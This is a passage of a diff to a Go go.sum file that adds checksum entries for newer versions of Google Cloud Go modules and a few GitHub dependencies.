h1:1eFCS0U11xlOuMFV/0iBqw3zP12kddMeCbj/F3FSj9k= cloud.google.com/go/pubsublite v1.7.0/go.mod h1:8hVMwRXfDfvGm3fahVbtDbiLePT3gpoiJYJY+vxWxVM= +cloud.google.com/go/pubsublite v1.8.1/go.mod h1:fOLdU4f5xldK4RGJrBMm+J7zMWNj/k4PxwEZXy39QS0= cloud.google.com/go/recaptchaenterprise v1.3.1/go.mod h1:OdD+q+y4XGeAlxRaMn1Y7/GveP6zmq76byL6tjPE7d4= cloud.google.com/go/recaptchaenterprise/v2 v2.1.0/go.mod h1:w9yVqajwroDNTfGuhmOjPDN//rZGySaf6PtFVcSCa7o= cloud.google.com/go/recaptchaenterprise/v2 v2.2.0/go.mod h1:/Zu5jisWGeERrd5HnlS3EUGb/D335f9k51B/FVil0jk= @@ -430,46 +551,56 @@ cloud.google.com/go/recaptchaenterprise/v2 v2.4.0/go.mod h1:Am3LHfOuBstrLrNCBrlI cloud.google.com/go/recaptchaenterprise/v2 v2.5.0/go.mod h1:O8LzcHXN3rz0j+LBC91jrwI3R+1ZSZEWrfL7XHgNo9U= cloud.google.com/go/recaptchaenterprise/v2 v2.6.0/go.mod h1:RPauz9jeLtB3JVzg6nCbe12qNoaa8pXc4d/YukAmcnA= cloud.google.com/go/recaptchaenterprise/v2 v2.7.0/go.mod h1:19wVj/fs5RtYtynAPJdDTb69oW0vNHYDBTbB4NvMD9c= +cloud.google.com/go/recaptchaenterprise/v2 v2.7.2/go.mod h1:kR0KjsJS7Jt1YSyWFkseQ756D45kaYNTlDPPaRAvDBU= cloud.google.com/go/recommendationengine v0.5.0/go.mod h1:E5756pJcVFeVgaQv3WNpImkFP8a+RptV6dDLGPILjvg= cloud.google.com/go/recommendationengine v0.6.0/go.mod h1:08mq2umu9oIqc7tDy8sx+MNJdLG0fUi3vaSVbztHgJ4= cloud.google.com/go/recommendationengine v0.7.0/go.mod h1:1reUcE3GIu6MeBz/h5xZJqNLuuVjNg1lmWMPyjatzac= +cloud.google.com/go/recommendationengine v0.8.1/go.mod h1:MrZihWwtFYWDzE6Hz5nKcNz3gLizXVIDI/o3G1DLcrE= cloud.google.com/go/recommender v1.5.0/go.mod h1:jdoeiBIVrJe9gQjwd759ecLJbxCDED4A6p+mqoqDvTg= cloud.google.com/go/recommender v1.6.0/go.mod h1:+yETpm25mcoiECKh9DEScGzIRyDKpZ0cEhWGo+8bo+c= cloud.google.com/go/recommender v1.7.0/go.mod h1:XLHs/W+T8olwlGOgfQenXBTbIseGclClff6lhFVe9Bs= cloud.google.com/go/recommender v1.8.0/go.mod h1:PkjXrTT05BFKwxaUxQmtIlrtj0kph108r02ZZQ5FE70= cloud.google.com/go/recommender v1.9.0/go.mod h1:PnSsnZY7q+VL1uax2JWkt/UegHssxjUVVCrX52CuEmQ= +cloud.google.com/go/recommender v1.10.1/go.mod h1:XFvrE4Suqn5Cq0Lf+mCP6oBHD/yRMA8XxP5sb7Q7gpA= cloud.google.com/go/redis v1.7.0/go.mod h1:V3x5Jq1jzUcg+UNsRvdmsfuFnit1cfe3Z/PGyq/lm4Y= cloud.google.com/go/redis v1.8.0/go.mod h1:Fm2szCDavWzBk2cDKxrkmWBqoCiL1+Ctwq7EyqBCA/A= cloud.google.com/go/redis v1.9.0/go.mod h1:HMYQuajvb2D0LvMgZmLDZW8V5aOC/WxstZHiy4g8OiA= cloud.google.com/go/redis v1.10.0/go.mod h1:ThJf3mMBQtW18JzGgh41/Wld6vnDDc/F/F35UolRZPM= cloud.google.com/go/redis v1.11.0/go.mod h1:/X6eicana+BWcUda5PpwZC48o37SiFVTFSs0fWAJ7uQ= +cloud.google.com/go/redis v1.13.1/go.mod h1:VP7DGLpE91M6bcsDdMuyCm2hIpB6Vp2hI090Mfd1tcg= cloud.google.com/go/resourcemanager v1.3.0/go.mod h1:bAtrTjZQFJkiWTPDb1WBjzvc6/kifjj4QBYuKCCoqKA= cloud.google.com/go/resourcemanager v1.4.0/go.mod h1:MwxuzkumyTX7/a3n37gmsT3py7LIXwrShilPh3P1tR0= cloud.google.com/go/resourcemanager v1.5.0/go.mod h1:eQoXNAiAvCf5PXxWxXjhKQoTMaUSNrEfg+6qdf/wots= cloud.google.com/go/resourcemanager v1.6.0/go.mod h1:YcpXGRs8fDzcUl1Xw8uOVmI8JEadvhRIkoXXUNVYcVo= cloud.google.com/go/resourcemanager v1.7.0/go.mod h1:HlD3m6+bwhzj9XCouqmeiGuni95NTrExfhoSrkC/3EI= +cloud.google.com/go/resourcemanager v1.9.1/go.mod h1:dVCuosgrh1tINZ/RwBufr8lULmWGOkPS8gL5gqyjdT8= cloud.google.com/go/resourcesettings v1.3.0/go.mod h1:lzew8VfESA5DQ8gdlHwMrqZs1S9V87v3oCnKCWoOuQU= cloud.google.com/go/resourcesettings v1.4.0/go.mod h1:ldiH9IJpcrlC3VSuCGvjR5of/ezRrOxFtpJoJo5SmXg= cloud.google.com/go/resourcesettings v1.5.0/go.mod h1:+xJF7QSG6undsQDfsCJyqWXyBwUoJLhetkRMDRnIoXA= +cloud.google.com/go/resourcesettings v1.6.1/go.mod h1:M7mk9PIZrC5Fgsu1kZJci6mpgN8o0IUzVx3eJU3y4Jw= cloud.google.com/go/retail v1.8.0/go.mod h1:QblKS8waDmNUhghY2TI9O3JLlFk8jybHeV4BF19FrE4= cloud.google.com/go/retail v1.9.0/go.mod h1:g6jb6mKuCS1QKnH/dpu7isX253absFl6iE92nHwlBUY= cloud.google.com/go/retail v1.10.0/go.mod h1:2gDk9HsL4HMS4oZwz6daui2/jmKvqShXKQuB2RZ+cCc= cloud.google.com/go/retail v1.11.0/go.mod h1:MBLk1NaWPmh6iVFSz9MeKG/Psyd7TAgm6y/9L2B4x9Y= cloud.google.com/go/retail v1.12.0/go.mod h1:UMkelN/0Z8XvKymXFbD4EhFJlYKRx1FGhQkVPU5kF14= +cloud.google.com/go/retail v1.14.1/go.mod h1:y3Wv3Vr2k54dLNIrCzenyKG8g8dhvhncT2NcNjb/6gE= cloud.google.com/go/run v0.2.0/go.mod h1:CNtKsTA1sDcnqqIFR3Pb5Tq0usWxJJvsWOCPldRU3Do= cloud.google.com/go/run v0.3.0/go.mod h1:TuyY1+taHxTjrD0ZFk2iAR+xyOXEA0ztb7U3UNA0zBo= cloud.google.com/go/run v0.8.0/go.mod h1:VniEnuBwqjigv0A7ONfQUaEItaiCRVujlMqerPPiktM= cloud.google.com/go/run v0.9.0/go.mod h1:Wwu+/vvg8Y+JUApMwEDfVfhetv30hCG4ZwDR/IXl2Qg= +cloud.google.com/go/run v1.2.0/go.mod h1:36V1IlDzQ0XxbQjUx6IYbw8H3TJnWvhii963WW3B/bo= cloud.google.com/go/scheduler v1.4.0/go.mod h1:drcJBmxF3aqZJRhmkHQ9b3uSSpQoltBPGPxGAWROx6s= cloud.google.com/go/scheduler v1.5.0/go.mod h1:ri073ym49NW3AfT6DZi21vLZrG07GXr5p3H1KxN5QlI= cloud.google.com/go/scheduler v1.6.0/go.mod h1:SgeKVM7MIwPn3BqtcBntpLyrIJftQISRrYB5ZtT+KOk= cloud.google.com/go/scheduler v1.7.0/go.mod h1:jyCiBqWW956uBjjPMMuX09n3x37mtyPJegEWKxRsn44= cloud.google.com/go/scheduler v1.8.0/go.mod h1:TCET+Y5Gp1YgHT8py4nlg2Sew8nUHMqcpousDgXJVQc= cloud.google.com/go/scheduler v1.9.0/go.mod h1:yexg5t+KSmqu+njTIh3b7oYPheFtBWGcbVUYF1GGMIc= +cloud.google.com/go/scheduler v1.10.1/go.mod h1:R63Ldltd47Bs4gnhQkmNDse5w8gBRrhObZ54PxgR2Oo= cloud.google.com/go/secretmanager v1.6.0/go.mod h1:awVa/OXF6IiyaU1wQ34inzQNc4ISIDIrId8qE5QGgKA= cloud.google.com/go/secretmanager v1.8.0/go.mod h1:hnVgi/bN5MYHd3Gt0SPuTPPp5ENina1/LxM+2W9U9J4= cloud.google.com/go/secretmanager v1.9.0/go.mod h1:b71qH2l1yHmWQHt9LC80akm86mX8AL6X1MA01dW8ht4= cloud.google.com/go/secretmanager v1.10.0/go.mod h1:MfnrdvKMPNra9aZtQFvBcvRU54hbPD8/HayQdlUgJpU= +cloud.google.com/go/secretmanager v1.11.1/go.mod h1:znq9JlXgTNdBeQk9TBW/FnR/W4uChEKGeqQWAJ8SXFw= cloud.google.com/go/security v1.5.0/go.mod h1:lgxGdyOKKjHL4YG3/YwIL2zLqMFCKs0UbQwgyZmfJl4= cloud.google.com/go/security v1.7.0/go.mod h1:mZklORHl6Bg7CNnnjLH//0UlAlaXqiG7Lb9PsPXLfD0= cloud.google.com/go/security v1.8.0/go.mod h1:hAQOwgmaHhztFhiQ41CjDODdWP0+AE1B3sX4OFlq+GU= @@ -477,12 +608,14 @@ cloud.google.com/go/security v1.9.0/go.mod h1:6Ta1bO8LXI89nZnmnsZGp9lVoVWXqsVbIq cloud.google.com/go/security v1.10.0/go.mod h1:QtOMZByJVlibUT2h9afNDWRZ1G96gVywH8T5GUSb9IA= cloud.google.com/go/security v1.12.0/go.mod h1:rV6EhrpbNHrrxqlvW0BWAIawFWq3X90SduMJdFwtLB8= cloud.google.com/go/security v1.13.0/go.mod h1:Q1Nvxl1PAgmeW0y3HTt54JYIvUdtcpYKVfIB8AOMZ+0= +cloud.google.com/go/security v1.15.1/go.mod h1:MvTnnbsWnehoizHi09zoiZob0iCHVcL4AUBj76h9fXA= cloud.google.com/go/securitycenter v1.13.0/go.mod h1:cv5qNAqjY84FCN6Y9z28WlkKXyWsgLO832YiWwkCWcU= cloud.google.com/go/securitycenter v1.14.0/go.mod h1:gZLAhtyKv85n52XYWt6RmeBdydyxfPeTrpToDPw4Auc= cloud.google.com/go/securitycenter v1.15.0/go.mod h1:PeKJ0t8MoFmmXLXWm41JidyzI3PJjd8sXWaVqg43WWk= cloud.google.com/go/securitycenter v1.16.0/go.mod h1:Q9GMaLQFUD+5ZTabrbujNWLtSLZIZF7SAR0wWECrjdk= cloud.google.com/go/securitycenter v1.18.1/go.mod h1:0/25gAzCM/9OL9vVx4ChPeM/+DlfGQJDwBy/UC8AKK0= cloud.google.com/go/securitycenter v1.19.0/go.mod h1:LVLmSg8ZkkyaNy4u7HCIshAngSQ8EcIRREP3xBnyfag= +cloud.google.com/go/securitycenter v1.23.0/go.mod h1:8pwQ4n+Y9WCWM278R8W3nF65QtY172h4S8aXyI9/hsQ= cloud.google.com/go/servicecontrol v1.4.0/go.mod h1:o0hUSJ1TXJAmi/7fLJAedOovnujSEvjKCAFNXPQ1RaU= cloud.google.com/go/servicecontrol v1.5.0/go.mod h1:qM0CnXHhyqKVuiZnGKrIurvVImCs8gmqWsDoqe9sU1s= cloud.google.com/go/servicecontrol v1.10.0/go.mod h1:pQvyvSRh7YzUF2efw7H87V92mxU8FnFDawMClGCNuAA= @@ -494,6 +627,8 @@ cloud.google.com/go/servicedirectory v1.6.0/go.mod h1:pUlbnWsLH9c13yGkxCmfumWEPj cloud.google.com/go/servicedirectory v1.7.0/go.mod h1:5p/U5oyvgYGYejufvxhgwjL8UVXjkuw7q5XcG10wx1U= cloud.google.com/go/servicedirectory v1.8.0/go.mod h1:srXodfhY1GFIPvltunswqXpVxFPpZjf8nkKQT7XcXaY= cloud.google.com/go/servicedirectory v1.9.0/go.mod h1:29je5JjiygNYlmsGz8k6o+OZ8vd4f//bQLtvzkPPT/s= +cloud.google.com/go/servicedirectory v1.10.1/go.mod h1:Xv0YVH8s4pVOwfM/1eMTl0XJ6bzIOSLDt8f8eLaGOxQ= +cloud.google.com/go/servicedirectory v1.11.0/go.mod h1:Xv0YVH8s4pVOwfM/1eMTl0XJ6bzIOSLDt8f8eLaGOxQ= cloud.google.com/go/servicemanagement v1.4.0/go.mod h1:d8t8MDbezI7Z2R1O/wu8oTggo3BI2GKYbdG4y/SJTco= cloud.google.com/go/servicemanagement v1.5.0/go.mod h1:XGaCRe57kfqu4+lRxaFEAuqmjzF0r+gWHjWqKqBvKFo= cloud.google.com/go/servicemanagement v1.6.0/go.mod h1:aWns7EeeCOtGEX4OvZUWCCJONRZeFKiptqKf1D0l/Jc= @@ -505,15 +640,19 @@ cloud.google.com/go/serviceusage v1.6.0/go.mod h1:R5wwQcbOWsyuOfbP9tGdAnCAc6B9DR cloud.google.com/go/shell v1.3.0/go.mod h1:VZ9HmRjZBsjLGXusm7K5Q5lzzByZmJHf1d0IWHEN5X4= cloud.google.com/go/shell v1.4.0/go.mod h1:HDxPzZf3GkDdhExzD/gs8Grqk+dmYcEjGShZgYa9URw= cloud.google.com/go/shell v1.6.0/go.mod h1:oHO8QACS90luWgxP3N9iZVuEiSF84zNyLytb+qE2f9A= +cloud.google.com/go/shell v1.7.1/go.mod h1:u1RaM+huXFaTojTbW4g9P5emOrrmLE69KrxqQahKn4g= cloud.google.com/go/spanner v1.41.0/go.mod h1:MLYDBJR/dY4Wt7ZaMIQ7rXOTLjYrmxLE/5ve9vFfWos= cloud.google.com/go/spanner v1.44.0/go.mod h1:G8XIgYdOK+Fbcpbs7p2fiprDw4CaZX63whnSMLVBxjk= cloud.google.com/go/spanner v1.45.0/go.mod h1:FIws5LowYz8YAE1J8fOS7DJup8ff7xJeetWEo5REA2M= +cloud.google.com/go/spanner v1.47.0/go.mod h1:IXsJwVW2j4UKs0eYDqodab6HgGuA1bViSqW4uH9lfUI= cloud.google.com/go/speech v1.6.0/go.mod h1:79tcr4FHCimOp56lwC01xnt/WPJZc4v3gzyT7FoBkCM= cloud.google.com/go/speech v1.7.0/go.mod h1:KptqL+BAQIhMsj1kOP2la5DSEEerPDuOP/2mmkhHhZQ= cloud.google.com/go/speech v1.8.0/go.mod h1:9bYIl1/tjsAnMgKGHKmBZzXKEkGgtU+MpdDPTE9f7y0= cloud.google.com/go/speech v1.9.0/go.mod h1:xQ0jTcmnRFFM2RfX/U+rk6FQNUF6DQlydUSyoooSpco= cloud.google.com/go/speech v1.14.1/go.mod h1:gEosVRPJ9waG7zqqnsHpYTOoAS4KouMRLDFMekpJ0J0= cloud.google.com/go/speech v1.15.0/go.mod h1:y6oH7GhqCaZANH7+Oe0BhgIogsNInLlz542tg3VqeYI= +cloud.google.com/go/speech v1.17.1/go.mod h1:8rVNzU43tQvxDaGvqOhpDqgkJTFowBpDvCJ14kGlJYo= +cloud.google.com/go/speech v1.19.0/go.mod h1:8rVNzU43tQvxDaGvqOhpDqgkJTFowBpDvCJ14kGlJYo= cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= @@ -524,41 +663,52 @@ cloud.google.com/go/storage v1.23.0/go.mod h1:vOEEDNFnciUMhBeT6hsJIn3ieU5cFRmzeL cloud.google.com/go/storage v1.27.0/go.mod h1:x9DOL8TK/ygDUMieqwfhdpQryTeEkhGKMi80i/iqR2s= cloud.google.com/go/storage v1.28.1/go.mod h1:Qnisd4CqDdo6BGs2AD5LLnEsmSQ80wQ5ogcBBKhU86Y= cloud.google.com/go/storage v1.29.0/go.mod h1:4puEjyTKnku6gfKoTfNOU/W+a9JyuVNxjpS5GBrB8h4= +cloud.google.com/go/storage v1.30.1/go.mod h1:NfxhC0UJE1aXSx7CIIbCf7y9HKT7BiccwkR7+P7gN8E= cloud.google.com/go/storagetransfer v1.5.0/go.mod h1:dxNzUopWy7RQevYFHewchb29POFv3/AaBgnhqzqiK0w= cloud.google.com/go/storagetransfer v1.6.0/go.mod h1:y77xm4CQV/ZhFZH75PLEXY0ROiS7Gh6pSKrM8dJyg6I= cloud.google.com/go/storagetransfer v1.7.0/go.mod h1:8Giuj1QNb1kfLAiWM1bN6dHzfdlDAVC9rv9abHot2W4= cloud.google.com/go/storagetransfer v1.8.0/go.mod h1:JpegsHHU1eXg7lMHkvf+KE5XDJ7EQu0GwNJbbVGanEw= +cloud.google.com/go/storagetransfer v1.10.0/go.mod h1:DM4sTlSmGiNczmV6iZyceIh2dbs+7z2Ayg6YAiQlYfA= cloud.google.com/go/talent v1.1.0/go.mod h1:Vl4pt9jiHKvOgF9KoZo6Kob9oV4lwd/ZD5Cto54zDRw= cloud.google.com/go/talent v1.2.0/go.mod h1:MoNF9bhFQbiJ6eFD3uSsg0uBALw4n4gaCaEjBw9zo8g= cloud.google.com/go/talent v1.3.0/go.mod h1:CmcxwJ/PKfRgd1pBjQgU6W3YBwiewmUzQYH5HHmSCmM= cloud.google.com/go/talent v1.4.0/go.mod h1:ezFtAgVuRf8jRsvyE6EwmbTK5LKciD4KVnHuDEFmOOA= cloud.google.com/go/talent v1.5.0/go.mod h1:G+ODMj9bsasAEJkQSzO2uHQWXHHXUomArjWQQYkqK6c= +cloud.google.com/go/talent v1.6.2/go.mod h1:CbGvmKCG61mkdjcqTcLOkb2ZN1SrQI8MDyma2l7VD24= cloud.google.com/go/texttospeech v1.4.0/go.mod h1:FX8HQHA6sEpJ7rCMSfXuzBcysDAuWusNNNvN9FELDd8= cloud.google.com/go/texttospeech v1.5.0/go.mod h1:oKPLhR4n4ZdQqWKURdwxMy0uiTS1xU161C8W57Wkea4= cloud.google.com/go/texttospeech v1.6.0/go.mod h1:YmwmFT8pj1aBblQOI3TfKmwibnsfvhIBzPXcW4EBovc= +cloud.google.com/go/texttospeech v1.7.1/go.mod h1:m7QfG5IXxeneGqTapXNxv2ItxP/FS0hCZBwXYqucgSk= cloud.google.com/go/tpu v1.3.0/go.mod h1:aJIManG0o20tfDQlRIej44FcwGGl/cD0oiRyMKG19IQ= cloud.google.com/go/tpu v1.4.0/go.mod h1:mjZaX8p0VBgllCzF6wcU2ovUXN9TONFLd7iz227X2Xg= cloud.google.com/go/tpu v1.5.0/go.mod h1:8zVo1rYDFuW2l4yZVY0R0fb/v44xLh3llq7RuV61fPM= +cloud.google.com/go/tpu v1.6.1/go.mod h1:sOdcHVIgDEEOKuqUoi6Fq53MKHJAtOwtz0GuKsWSH3E= cloud.google.com/go/trace v1.3.0/go.mod h1:FFUE83d9Ca57C+K8rDl/Ih8LwOzWIV1krKgxg6N0G28= cloud.google.com/go/trace v1.4.0/go.mod h1:UG0v8UBqzusp+z63o7FK74SdFE+AXpCLdFb1rshXG+Y= cloud.google.com/go/trace v1.8.0/go.mod h1:zH7vcsbAhklH8hWFig58HvxcxyQbaIqMarMg9hn5ECA= cloud.google.com/go/trace v1.9.0/go.mod h1:lOQqpE5IaWY0Ixg7/r2SjixMuc6lfTFeO4QGM4dQWOk= +cloud.google.com/go/trace v1.10.1/go.mod h1:gbtL94KE5AJLH3y+WVpfWILmqgc6dXcqgNXdOPAQTYk= cloud.google.com/go/translate v1.3.0/go.mod h1:gzMUwRjvOqj5i69y/LYLd8RrNQk+hOmIXTi9+nb3Djs= cloud.google.com/go/translate v1.4.0/go.mod h1:06Dn/ppvLD6WvA5Rhdp029IX2Mi3Mn7fpMRLPvXT5Wg= cloud.google.com/go/translate v1.5.0/go.mod h1:29YDSYveqqpA1CQFD7NQuP49xymq17RXNaUDdc0mNu0= cloud.google.com/go/translate v1.6.0/go.mod h1:lMGRudH1pu7I3n3PETiOB2507gf3HnfLV8qlkHZEyos= cloud.google.com/go/translate v1.7.0/go.mod h1:lMGRudH1pu7I3n3PETiOB2507gf3HnfLV8qlkHZEyos= +cloud.google.com/go/translate v1.8.1/go.mod h1:d1ZH5aaOA0CNhWeXeC8ujd4tdCFw8XoNWRljklu5RHs= +cloud.google.com/go/translate v1.8.2/go.mod h1:d1ZH5aaOA0CNhWeXeC8ujd4tdCFw8XoNWRljklu5RHs= cloud.google.com/go/video v1.8.0/go.mod h1:sTzKFc0bUSByE8Yoh8X0mn8bMymItVGPfTuUBUyRgxk= cloud.google.com/go/video v1.9.0/go.mod h1:0RhNKFRF5v92f8dQt0yhaHrEuH95m068JYOvLZYnJSw= cloud.google.com/go/video v1.12.0/go.mod h1:MLQew95eTuaNDEGriQdcYn0dTwf9oWiA4uYebxM5kdg= cloud.google.com/go/video v1.13.0/go.mod h1:ulzkYlYgCp15N2AokzKjy7MQ9ejuynOJdf1tR5lGthk= cloud.google.com/go/video v1.14.0/go.mod h1:SkgaXwT+lIIAKqWAJfktHT/RbgjSuY6DobxEp0C5yTQ= cloud.google.com/go/video v1.15.0/go.mod h1:SkgaXwT+lIIAKqWAJfktHT/RbgjSuY6DobxEp0C5yTQ= +cloud.google.com/go/video v1.17.1/go.mod h1:9qmqPqw/Ib2tLqaeHgtakU+l5TcJxCJbhFXM7UJjVzU= +cloud.google.com/go/video v1.19.0/go.mod h1:9qmqPqw/Ib2tLqaeHgtakU+l5TcJxCJbhFXM7UJjVzU= cloud.google.com/go/videointelligence v1.6.0/go.mod h1:w0DIDlVRKtwPCn/C4iwZIJdvC69yInhW0cfi+p546uU= cloud.google.com/go/videointelligence v1.7.0/go.mod h1:k8pI/1wAhjznARtVT9U1llUaFNPh7muw8QyOUpavru4= cloud.google.com/go/videointelligence v1.8.0/go.mod h1:dIcCn4gVDdS7yte/w+koiXn5dWVplOZkE+xwG9FgK+M= cloud.google.com/go/videointelligence v1.9.0/go.mod h1:29lVRMPDYHikk3v8EdPSaL8Ku+eMzDljjuvRs105XoU= cloud.google.com/go/videointelligence v1.10.0/go.mod h1:LHZngX1liVtUhZvi2uNS0VQuOzNi2TkY1OakiuoUOjU= +cloud.google.com/go/videointelligence v1.11.1/go.mod h1:76xn/8InyQHarjTWsBR058SmlPCwQjgcvoW0aZykOvo= cloud.google.com/go/vision v1.2.0/go.mod h1:SmNwgObm5DpFBme2xpyOyasvBc1aPdjvMk2bBk0tKD0= cloud.google.com/go/vision/v2 v2.2.0/go.mod h1:uCdV4PpN1S0jyCyq8sIM42v2Y6zOLkZs+4R9LrGYwFo= cloud.google.com/go/vision/v2 v2.3.0/go.mod h1:UO61abBx9QRMFkNBbf1D8B1LXdS2cGiiCRx0vSpZoUo= @@ -566,29 +716,37 @@ cloud.google.com/go/vision/v2 v2.4.0/go.mod h1:VtI579ll9RpVTrdKdkMzckdnwMyX2JILb cloud.google.com/go/vision/v2 v2.5.0/go.mod h1:MmaezXOOE+IWa+cS7OhRRLK2cNv1ZL98zhqFFZaaH2E= cloud.google.com/go/vision/v2 v2.6.0/go.mod h1:158Hes0MvOS9Z/bDMSFpjwsUrZ5fPrdwuyyvKSGAGMY= cloud.google.com/go/vision/v2 v2.7.0/go.mod h1:H89VysHy21avemp6xcf9b9JvZHVehWbET0uT/bcuY/0= +cloud.google.com/go/vision/v2 v2.7.2/go.mod h1:jKa8oSYBWhYiXarHPvP4USxYANYUEdEsQrloLjrSwJU= cloud.google.com/go/vmmigration v1.2.0/go.mod h1:IRf0o7myyWFSmVR1ItrBSFLFD/rJkfDCUTO4vLlJvsE= cloud.google.com/go/vmmigration v1.3.0/go.mod h1:oGJ6ZgGPQOFdjHuocGcLqX4lc98YQ7Ygq8YQwHh9A7g= cloud.google.com/go/vmmigration v1.5.0/go.mod h1:E4YQ8q7/4W9gobHjQg4JJSgXXSgY21nA5r8swQV+Xxc= cloud.google.com/go/vmmigration v1.6.0/go.mod h1:bopQ/g4z+8qXzichC7GW1w2MjbErL54rk3/C843CjfY= +cloud.google.com/go/vmmigration v1.7.1/go.mod h1:WD+5z7a/IpZ5bKK//YmT9E047AD+rjycCAvyMxGJbro= cloud.google.com/go/vmwareengine v0.1.0/go.mod h1:RsdNEf/8UDvKllXhMz5J40XxDrNJNN4sagiox+OI208= cloud.google.com/go/vmwareengine v0.2.2/go.mod h1:sKdctNJxb3KLZkE/6Oui94iw/xs9PRNC2wnNLXsHvH8= cloud.google.com/go/vmwareengine v0.3.0/go.mod h1:wvoyMvNWdIzxMYSpH/R7y2h5h3WFkx6d+1TIsP39WGY= +cloud.google.com/go/vmwareengine v0.4.1/go.mod h1:Px64x+BvjPZwWuc4HdmVhoygcXqEkGHXoa7uyfTgSI0= +cloud.google.com/go/vmwareengine v1.0.0/go.mod h1:Px64x+BvjPZwWuc4HdmVhoygcXqEkGHXoa7uyfTgSI0= cloud.google.com/go/vpcaccess v1.4.0/go.mod h1:aQHVbTWDYUR1EbTApSVvMq1EnT57ppDmQzZ3imqIk4w= cloud.google.com/go/vpcaccess v1.5.0/go.mod h1:drmg4HLk9NkZpGfCmZ3Tz0Bwnm2+DKqViEpeEpOq0m8= cloud.google.com/go/vpcaccess v1.6.0/go.mod h1:wX2ILaNhe7TlVa4vC5xce1bCnqE3AeH27RV31lnmZes= +cloud.google.com/go/vpcaccess v1.7.1/go.mod h1:FogoD46/ZU+JUBX9D606X21EnxiszYi2tArQwLY4SXs= cloud.google.com/go/webrisk v1.4.0/go.mod h1:Hn8X6Zr+ziE2aNd8SliSDWpEnSS1u4R9+xXZmFiHmGE= cloud.google.com/go/webrisk v1.5.0/go.mod h1:iPG6fr52Tv7sGk0H6qUFzmL3HHZev1htXuWDEEsqMTg= cloud.google.com/go/webrisk v1.6.0/go.mod h1:65sW9V9rOosnc9ZY7A7jsy1zoHS5W9IAXv6dGqhMQMc= cloud.google.com/go/webrisk v1.7.0/go.mod h1:mVMHgEYH0r337nmt1JyLthzMr6YxwN1aAIEc2fTcq7A= cloud.google.com/go/webrisk v1.8.0/go.mod h1:oJPDuamzHXgUc+b8SiHRcVInZQuybnvEW72PqTc7sSg= +cloud.google.com/go/webrisk v1.9.1/go.mod h1:4GCmXKcOa2BZcZPn6DCEvE7HypmEJcJkr4mtM+sqYPc= cloud.google.com/go/websecurityscanner v1.3.0/go.mod h1:uImdKm2wyeXQevQJXeh8Uun/Ym1VqworNDlBXQevGMo= cloud.google.com/go/websecurityscanner v1.4.0/go.mod h1:ebit/Fp0a+FWu5j4JOmJEV8S8CzdTkAS77oDsiSqYWQ= cloud.google.com/go/websecurityscanner v1.5.0/go.mod h1:Y6xdCPy81yi0SQnDY1xdNTNpfY1oAgXUlcfN3B3eSng= +cloud.google.com/go/websecurityscanner v1.6.1/go.mod h1:Njgaw3rttgRHXzwCB8kgCYqv5/rGpFCsBOvPbYgszpg= cloud.google.com/go/workflows v1.6.0/go.mod h1:6t9F5h/unJz41YqfBmqSASJSXccBLtD1Vwf+KmJENM0= cloud.google.com/go/workflows v1.7.0/go.mod h1:JhSrZuVZWuiDfKEFxU0/F1PQjmpnpcoISEXH2bcHC3M= cloud.google.com/go/workflows v1.8.0/go.mod h1:ysGhmEajwZxGn1OhGOGKsTXc5PyxOc0vfKf5Af+to4M= cloud.google.com/go/workflows v1.9.0/go.mod h1:ZGkj1aFIOd9c8Gerkjjq7OW7I5+l6cSvT3ujaO/WwSA= cloud.google.com/go/workflows v1.10.0/go.mod h1:fZ8LmRmZQWacon9UCX1r/g/DfAXx5VcPALq2CxzdePw= +cloud.google.com/go/workflows v1.11.1/go.mod h1:Z+t10G1wF7h8LgdY/EmRcQY8ptBD/nvofaL6FqlET6g= dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= gioui.org v0.0.0-20210308172011-57750fc8a0a6/go.mod h1:RSH6KIUZ0p2xy5zHDxgAM4zumjgTw83q2ge/PI+yyw8= git.sr.ht/~sbinet/gg v0.3.1/go.mod h1:KGYtlADtqsqANL9ueOFkWymvzUvLMQllU5Ixo+8v3pc= @@ -628,6 +786,7 @@ github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kd github.com/aokoli/goutils v1.0.1/go.mod h1:SijmP0QR8LtwsmDs8Yii5Z/S4trXFGFC2oO5g9DP+DQ= github.com/apache/arrow/go/v10 v10.0.1/go.mod h1:YvhnlEePVnBS4+0z3fhPfUy7W1Ikj0Ih0vcRo/gZ1M0= github.com/apache/arrow/go/v11 v11.0.0/go.mod h1:Eg5OsL5H+e299f7u5ssuXsuHQVEGC4xei5aX110hRiI= +github.com/apache/arrow/go/v12 v12.0.0/go.mod h1:d+tV/eHZZ7Dz7RPrFKtPK02tpr+c9/PEd/zm8mDS9Vg= github.com/apache/thrift v0.16.0/go.mod h1:PHK3hniurgQaNMZYaCLEqXKsYK8upmhPbmdP2FXSqgU= github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8= @@ -705,6 +864,7 @@ github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUn github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= github.com/docopt/docopt-go v0.0.0-20180111231733-ee0de3bc6815/go.mod h1:WwZ+bS3ebgob9U8Nd0kOddGdZWjyMGR8Wziv+TBNwSE= github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= +github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod 